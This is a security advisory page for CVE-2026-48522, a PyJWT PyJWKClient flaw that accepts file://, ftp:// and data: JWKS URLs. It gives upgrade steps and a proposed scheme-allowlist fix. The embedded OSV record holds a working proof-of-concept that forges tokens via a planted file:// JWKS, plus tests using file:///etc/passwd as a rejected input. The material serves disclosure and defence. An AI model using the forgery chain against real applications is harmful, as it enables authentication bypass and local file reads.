CVE-2026-48522: PyJWKClient Missing Scheme Allowlist Enables CVE-2024-21643-class Vulnerability
MODERATECVE-2026-48522 is a MODERATE (CVSS 4.2) missing scheme allowlist enables cve-2024-21643-class vulnerability (CWE-441: Unintended Proxy or Intermediary ('Confused Deputy')) affecting PyJWKClient libraries in the PyPI ecosystem. The issue involves missing scheme allowlist enables cve-2024-21643-class ssrf + token forgery via file://, ftp://, data: schemes. Remediation is available by upgrading affected packages to version 2.13.0.
CVE-2026-48522 at a Glance
Security Impact
CVSS: 4.2
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N).
How to Fix CVE-2026-48522
To remediate this vulnerability, upgrade all affected PyJWKClient dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install PyJWT>=2.13.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show PyJWT
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-48522, inspect your installed packages using pip:
pip show PyJWT
Analyze the terminal output to locate any version of PyJWKClient in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.13.0), your application is affected.
Note: The pip show PyJWT command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-441: Unintended Proxy or Intermediary ('Confused Deputy'), where the product receives a request, message, or directive from an upstream component, but the product does not sufficiently preserve the original source of the request before forwarding the request to an external actor that is outside of the product's control sphere. this causes the product to appear to be the source of the request, leading it to act as a proxy or other intermediary between the upstream component and the external actor. In PyJWKClient, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-48522 Affected PyJWKClient Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
PyJWT
|
PyPI |
≥ 2.0.0
< 2.13.0
|
2.13.0
|
References
Frequently Asked Questions
What is CVE-2026-48522?
Which PyJWKClient versions are affected?
What version fixes CVE-2026-48522?
Is PyJWT affected?
What is the CVSS score of CVE-2026-48522?
What CWE is associated with CVE-2026-48522?
How can I check PyPI dependencies for CVE-2026-48522?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-993g-76c3-p5m4",
"modified" : "2026-07-31T22:13:14Z",
"published" : "2026-06-15T19:28:41Z",
"aliases" : [ "CVE-2026-48522" ],
"summary" : "PyJWKClient: missing scheme allowlist enables CVE-2024-21643-class SSRF + token forgery via file://, ftp://, data: schemes",
"details" : "> [!NOTE]\n> The library does not directly return non-HTTP(S) URI contents to the attacker; the chained \"plant a JWKS to forge tokens\" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. Severity is scored for the scheme-acceptance bug in isolation.\n\n## Summary\n\nPyJWKClient passes its `uri` argument directly to `urllib.request.urlopen()` which uses Python stdlib's default `OpenerDirector` registering `HTTPHandler`, `HTTPSHandler`, `FTPHandler`, **`FileHandler`**, and `DataHandler`. There is currently no documented option to restrict which schemes PyJWKClient will fetch.\n\nIf an application's `jku` URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can:\n\n1. Cause PyJWKClient to read arbitrary local files via `file://` (SSRF on local filesystem) — the file's contents are passed to `json.load`.\n2. Cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface).\n3. **Forge tokens that PyJWT verifies as valid** — if the attacker can write to any path the JKU URL points at AND influences the URL, they can plant a JWK Set containing their own public key, sign tokens with the matching private key, and `jwt.decode()` accepts.\n\n## Affected versions\n\nTested and reproducible on **PyJWT 2.11.0 and 2.12.1**. Likely all versions back to PyJWKClient introduction.\n\n## Reproducer (full attack chain — verified empirically)\n\n```python\nimport jwt as pyjwt\nfrom jwt import PyJWKClient\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.hazmat.primitives import serialization\nimport json, base64, time\n\n# Attacker generates keypair (no relation to real IdP)\nkey = rsa.generate_private_key(public_exponent=65537, key_size=2048)\npub_n = key.public_key().public_numbers().n\n\ndef b64u(n):\n bl = (n.bit_length() + 7) // 8\n return base64.urlsafe_b64encode(n.to_bytes(bl, 'big')).rstrip(b'=').decode()\n\n# Attacker writes JWK Set containing their public key to /tmp\njwks = {\"keys\":[{\"kty\":\"RSA\",\"kid\":\"attacker\",\"use\":\"sig\",\"alg\":\"RS256\",\n \"n\":b64u(pub_n),\"e\":\"AQAB\"}]}\nwith open(\"/tmp/attacker.json\",\"w\") as f:\n json.dump(jwks, f)\n\n# Attacker mints token signed with their private key, jku=file://\npriv_pem = key.private_bytes(serialization.Encoding.PEM,\n serialization.PrivateFormat.PKCS8, serialization.NoEncryption())\nnow = int(time.time())\ntoken = pyjwt.encode(\n {\"sub\":\"attacker\",\"aud\":\"target-app\",\"iat\":now,\"exp\":now+3600},\n priv_pem, algorithm=\"RS256\",\n headers={\"kid\":\"attacker\",\"jku\":\"file:///tmp/attacker.json\",\"typ\":\"JWT\"})\n\n# Vulnerable application pattern: caller derives jku from token header\n# and passes to PyJWKClient without scheme validation\nheader = pyjwt.get_unverified_header(token)\nclient = PyJWKClient(header[\"jku\"]) # <-- accepts file:// silently\nkey_obj = client.get_signing_key_from_jwt(token)\ndecoded = pyjwt.decode(token, key_obj.key, algorithms=[\"RS256\"],\n audience=\"target-app\")\nprint(\"Token verified:\", decoded)\n# Output: Token verified: {'sub': 'attacker', 'aud': 'target-app', ...}\n```\n\n## Cross-library evidence — PyJWT is the outlier\n\nThe same composition pattern is structurally safe in 4 other mainstream JWT libraries:\n\n| Library | Behavior on `jku=file://...` | Mechanism |\n|---|---|---|\n| **PyJWT 2.12.1** (Python) | **Reads file from disk, parses, uses for signature verification** | urllib default OpenerDirector includes FileHandler |\n| panva/jose 6.2.3 (Node.js) | Refuses pre-fetch | WHATWG `fetch()` rejects non-http(s) at fetch-spec layer |\n| golang-jwt + MicahParks/keyfunc v3.4.0 (Go) | Refuses pre-fetch | `http.DefaultTransport` only registers http/https |\n| Microsoft.IdentityModel.Tokens 8.18.0 (.NET) | Refuses pre-fetch | `HttpDocumentRetriever` defaults `RequireHttps=true` |\n| Spring Security NimbusJwtDecoder 6.3.4 (Java) | Refuses pre-fetch | URI parser delegation refuses non-http(s) at request build |\n\nPyJWT is the only library of these 5 where the default behavior allows `file://` to reach the fetch layer.\n\n## Recommended fix\n\nAdd `allowed_schemes: tuple[str, ...] = (\"https\", \"http\")` kwarg to `PyJWKClient.__init__`. Pre-validate URL scheme before invoking `urllib.request.urlopen`. URLs with disallowed schemes raise `PyJWKClientError` before any fetch is attempted.\n\n### Diff sketch against `jwt/jwks_client.py`\n\n```python\ndef __init__(\n self, uri: str,\n cache_keys: bool = False, max_cached_keys: int = 16,\n cache_jwk_set: bool = True, lifespan: float = 300,\n headers: dict[str, Any] | None = None, timeout: float = 30,\n ssl_context: SSLContext | None = None,\n allowed_schemes: tuple[str, ...] = (\"https\", \"http\"), # NEW\n):\n \"\"\"...\n :param allowed_schemes: URL schemes the JWKS endpoint is permitted\n to use. Default ``(\"https\", \"http\")``. Pass ``(\"https\",)`` for\n HTTPS-only operation. URLs with disallowed schemes raise\n ``PyJWKClientError`` before any fetch is attempted.\n \"\"\"\n # ... existing init code ...\n self.allowed_schemes = allowed_schemes\n self._validate_uri_scheme()\n\n\ndef _validate_uri_scheme(self) -> None:\n \"\"\"Reject the configured URI early if its scheme isn't allowed.\"\"\"\n from urllib.parse import urlparse\n parsed = urlparse(self.uri)\n scheme = parsed.scheme.lower()\n if not scheme:\n raise PyJWKClientError(\n f\"PyJWKClient URI '{self.uri}' has no scheme; expected one of \"\n f\"{self.allowed_schemes!r}\")\n if scheme not in self.allowed_schemes:\n raise PyJWKClientError(\n f\"PyJWKClient URI scheme '{scheme}' is not in allowed_schemes \"\n f\"{self.allowed_schemes!r}; refusing to fetch from this URL\")\n```\n\n### Tests to add\n\n```python\ndef test_pyjwkclient_rejects_file_scheme():\n with pytest.raises(PyJWKClientError, match=\"not in allowed_schemes\"):\n PyJWKClient(\"file:///etc/passwd\")\n\ndef test_pyjwkclient_rejects_ftp_scheme():\n with pytest.raises(PyJWKClientError):\n PyJWKClient(\"ftp://example.org/keys.json\")\n\ndef test_pyjwkclient_rejects_data_scheme():\n with pytest.raises(PyJWKClientError):\n PyJWKClient('data:application/json,{\"keys\":[]}')\n\ndef test_pyjwkclient_caller_can_lock_to_https_only():\n with pytest.raises(PyJWKClientError):\n PyJWKClient(\"http://internal.test/jwks.json\", allowed_schemes=(\"https\",))\n```\n\n### Compatibility\n\n- Default `allowed_schemes=(\"https\", \"http\")` preserves backwards compatibility for the overwhelming majority of callers using HTTP/HTTPS JWKS endpoints\n- Breaking only for callers using non-HTTP schemes intentionally (vanishingly rare)\n- No changes to urllib fetch logic itself — the fix is a pre-validation gate\n\n## Class precedent\n\nThis is the same class as **CVE-2024-21643** (Apache Jena JKU-trust: attacker-supplied JKU URL fetched without scheme validation). NVD-rated CVSS 7.5.\n\n## Prior art (verified 2026-05-06)\n\nConfirmed via live recon (NVD direct, OSV.dev, PyJWT GitHub Security Advisories, issue/PR keyword search, CHANGELOG inspection):\n\n- No existing CVE on PyJWT specifically for PyJWKClient URL scheme handling\n- No existing GitHub issue or PR addressing scheme allowlisting\n- No silent fix in CHANGELOG through 2.12.1\n- 5 prior PyJWT advisories (CVE-2017-11424, CVE-2022-29217, CVE-2024-53861, CVE-2025-45768, CVE-2026-32597) — none cover this class\n\n## Credit\n\nReported by Keijo Tuominen — independent security research at CMHT.tech (https://cmht.tech).\n\nReproduction artifacts available on request: full multi-language probe pack (5 wrappers × 25 fixtures × 125 cells) demonstrating cross-library divergence at the URL-scheme boundary.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "PyJWT"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "2.0.0"
}, {
"fixed" : "2.13.0"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 2.12.1"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-993g-76c3-p5m4"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-48522"
}, {
"type" : "WEB",
"url" : "https://github.com/github/advisory-database/pull/8521"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/jpadilla/pyjwt"
}, {
"type" : "WEB",
"url" : "https://github.com/pypa/advisory-database/tree/main/vulns/pyjwt/PYSEC-2026-175.yaml"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-441", "CWE-918" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-06-15T19:28:41Z",
"nvd_published_at" : "2026-05-28T16:16:29Z"
}
}